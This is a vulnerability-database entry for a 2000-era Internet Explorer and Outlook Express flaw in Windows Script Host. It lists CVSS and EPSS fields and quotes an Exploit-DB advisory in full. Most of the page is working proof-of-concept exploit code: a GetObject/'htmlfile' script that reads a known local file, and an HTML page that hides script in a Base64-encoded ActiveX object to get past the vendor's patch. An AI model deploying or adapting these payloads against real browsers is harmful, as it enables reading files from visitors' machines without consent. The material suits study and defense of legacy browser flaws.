Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20243
Publication date : 2000-09-25 22h00 +00:00
Author : Georgi Guninski
EDB Verified : Yes
source: https://www.securityfocus.com/bid/1718/info
It is possible for an outside attacker to view known files on a remote system if the target user visits a website or opens an email containing a specially formed script containing the JScript function 'GetObject()' and the ActiveX object 'htmlfile'. Microsoft Internet Explorer or Outlook Express will grant full access to the DOM of a HTML document object if the following code is inserted into HTML formatted document (the 'I" in SCRIPT has been replaced with a "!"):
<SCR!PT>
alert("Alert Message");
a=GetObject("c:\\path\filename.ext","htmlfile");
setTimeout("alert(a.body.innerText);",2000);
</SCR!PT>
A malicious website operator may be able to view any known file on a remote system through this vulnerability if the website visitor is using Microsoft Internet Explorer.
This vulnerability is due to a flaw in Windows Script Host (WSH), WSH does not properly verify a domain for certain requests in IE and Outlook Express.
**New proof of concept code for this vulnerability can affect users who have already applied the Microsoft supplied patch for this issue. The new code uses Base64 encoding embedded within the HTML, which effectively bypasses the security provided by the patch.
<HTML>
<!-- Internet Explorer htmlfile_FullWindowEmbed proof of concept exploit. //-->
<BODY>
<!--
The data parameter string is the Base64 encoded version of
2069 3325 F903 CF11 8FD0 00AA 0068 6F13 i3%.........ho.
3C73 6372 6970 743E 646F 6375 6D65 6E74 <script>document
2E6C 6F63 6174 696F 6E2E 6872 6566 3D22 .location.href="
6669 6C65 3A2F 2F63 3A5C 5C74 6573 742E file://c:\\test.
7478 7422 3B3C 2F73 6372 6970 743E txt";</script>
//-->
<OBJECT ID="myObject" WIDTH=300 HEIGHT=250 CLASSID="CLSID:25336921-03F9-11CF-8FD0-00AA00686F13" data="data:application/x-oleobject;base64,IGkzJfkDzxGP0ACqAGhvEzxzY3JpcHQ+ZG9jdW1lbnQubG9jYXRpb24uaHJlZj0iZmlsZTovL2M6XFx0ZXN0LnR4dCI7PC9zY3JpcHQ+">
</OBJECT>
<SCRIPT>
// Base64 decoder ripped from Robert Graham's page at http://www.robertgraham.com/tools/base64coder.html
function myBase64Decode(str)
{
var result = "", i = 0, x, shiftreg = 0, count = -1;
for (i=0; i < str.length; i++) {
c = str.charAt(i);
if ('A' <= c && c <= 'Z')
x = str.charCodeAt(i) - 65;
else if ('a' <= c && c <= 'z')
x = str.charCodeAt(i) - 97 + 26;
else if ('0' <= c && c <= '9')
x = str.charCodeAt(i) - 48 + 52;
else if (c == '+')
x = 62;
else if (c == '/')
x = 63;
else
continue;
count++;
switch (count % 4) {
case 0:
shiftreg = x;
continue;
case 1:
v = (shiftreg<<2) | (x >> 4);
shiftreg = x & 0x0F;
break;
case 2:
v = (shiftreg<<4) | (x >> 2);
shiftreg = x & 0x03;
break;
case 3:
v = (shiftreg<<6) | (x >> 0);
shiftreg = x & 0x00;
break;
}
if ((v < 32 || v > 126) && (v != 0x0d) && (v != 0x0a)) {
result = result + "<";
result = result + "0123456789ABCDEF".charAt((v/16)&0x0F);
result = result + "0123456789ABCDEF".charAt((v/1)&0x0F);
result = result + ">";
} else {
result = result + String.fromCharCode(v);
}
}
return result.toString();
}
function ReadFile()
{
Data = myObject.outerHTML;
Data = Data.substr(Data.indexOf("IGkz")); // start of encoded string
Data = Data.substr(0,Data.indexOf(" ")); // end of encoded string
alert(myBase64Decode(Data)); // decode and display
}
alert('Create the file c:\\test.txt and it will be read!');
setTimeout("ReadFile();",3000);
//setTimeout("alert(myObject.outerHTML);",2000);
</SCRIPT>
</BODY>
</HTML>
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version To (including) 5.5
References